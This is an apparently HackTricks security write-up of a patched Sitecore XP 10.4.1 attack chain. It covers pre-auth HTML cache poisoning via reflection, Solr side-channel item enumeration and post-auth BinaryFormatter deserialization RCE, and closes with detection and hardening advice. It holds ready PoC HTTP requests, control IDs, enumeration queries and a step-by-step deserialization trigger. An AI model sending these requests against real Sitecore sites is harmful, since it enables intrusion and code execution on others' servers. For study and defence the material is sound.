Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页概述了针对 Sitecore XP 10.4.1 的一个实战攻击链,该链从一个 pre‑auth XAML handler 出发,转向 HTML cache poisoning,并通过一个 authenticated UI flow,利用 BinaryFormatter deserialization 达成 RCE。相关技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。

  • 受影响并测试的产品: Sitecore XP 10.4.1 rev. 011628
  • 已修复于: KB1003667, KB1003734 (June/July 2025)

另见:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

入口点是注册在 web.config 中的 pre‑auth XAML handler:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

可通过以下方式访问:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

控件树包含 AjaxScriptManager,在事件请求时,它会读取 attacker‑controlled fields 并通过反射在目标控件上调用方法:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

关键观察:XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 继承自 Sitecore.Web.UI.WebControl(一个 Sitecore 类),后者通过 ReflectionUtil.Filter 的允许列表 (Sitecore.*),从而解锁 Sitecore WebControl 上的方法。

用于 poisoning 的 Magic 方法:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

由于我们可以定位 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 的方法,因此我们得到一个 pre‑auth 任意 HtmlCache 写入原语。

PoC 请求 (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notes:

  • __SOURCE 是在 Sitecore.Shell.Xaml.WebControl 中 xmlcontrol:GlobalHeader 的 clientID(通常稳定,例如 ctl00_ctl00_ctl05_ctl03,因为它来自静态 XAML)。
  • __PARAMETERS 的格式为 Method("arg1","arg2").

What to poison: 缓存键构造

Sitecore 控件 使用的典型 HtmlCache 键构造:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

针对已知 sublayout 的 targeted poisoning 示例:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

枚举可缓存项和 “vary by” 维度

如果 ItemService 被 (mis)exposed 并允许匿名访问,你可以枚举可缓存组件以推导出精确的键。

Quick probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

列出可缓存的项目和标志:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

查找像 Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 这样的字段。设备名称可以通过以下方式枚举:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

即使 ItemService 以受限账户(例如 ServicesAPI)模拟并返回一个空的 Results 数组,TotalCount 仍可能反映 pre‑ACL 的 Solr 命中。你可以对 item groups/ids 使用 brute‑force 和 wildcards,并观察 TotalCount 收敛以映射内部内容和设备:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink 位于 convertToRuntimeHtml (CVE-2025-53691)

漏洞点:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

可通过 convertToRuntimeHtml pipeline 步骤 ConvertWebControls 访问,该步骤会查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将得到的字符串注入到 HTML 中:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

触发(已认证,Content Editor 权限)。FixHtml 对话框会调用 convertToRuntimeHtml。端到端,无需 UI 点击:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个返回字符串的 base64 payload。该字符串的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

完整利用链

  1. Pre‑auth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache,将任意 HTML 注入 HtmlCache。
  2. 被污染的 HTML 提供 JavaScript,促使已认证的 Content Editor 用户进入 FixHtml 流程。
  3. FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls,后者通过 BinaryFormatter 反序列化攻击者控制的 base64,导致以 Sitecore 应用池身份的 RCE。

检测

  • Pre‑auth XAML:对 /-/xaml/Sitecore.Shell.Xaml.WebControl 的请求,带有 __ISEVENT=1、可疑的 __SOURCE__PARAMETERS=AddToCache(...)
  • ItemService 探测:对 /sitecore/api/ssc 的通配符查询激增,TotalCount 很大但 Results 为空。
  • 反序列化尝试:EditHtml.aspx 随后是 FixHtml.aspx?hdl=...,以及 HTML 字段中异常大的 base64。

加固

  • 应用 Sitecore 补丁 KB1003667 和 KB1003734;对 pre‑auth XAML 处理程序进行隔离/禁用或添加严格校验;监控并对 /-/xaml/ 实施速率限制。
  • 移除/替换 BinaryFormatter;限制对 convertToRuntimeHtml 的访问或对 HTML 编辑流程执行强健的服务器端校验。
  • /sitecore/api/ssc 限制为 loopback 或经认证的角色访问;避免采用可能导致 TotalCount‑based 侧信道 leak 的 impersonation 模式。
  • 对 Content Editor 用户强制 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 导致的 JS steering 影响。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks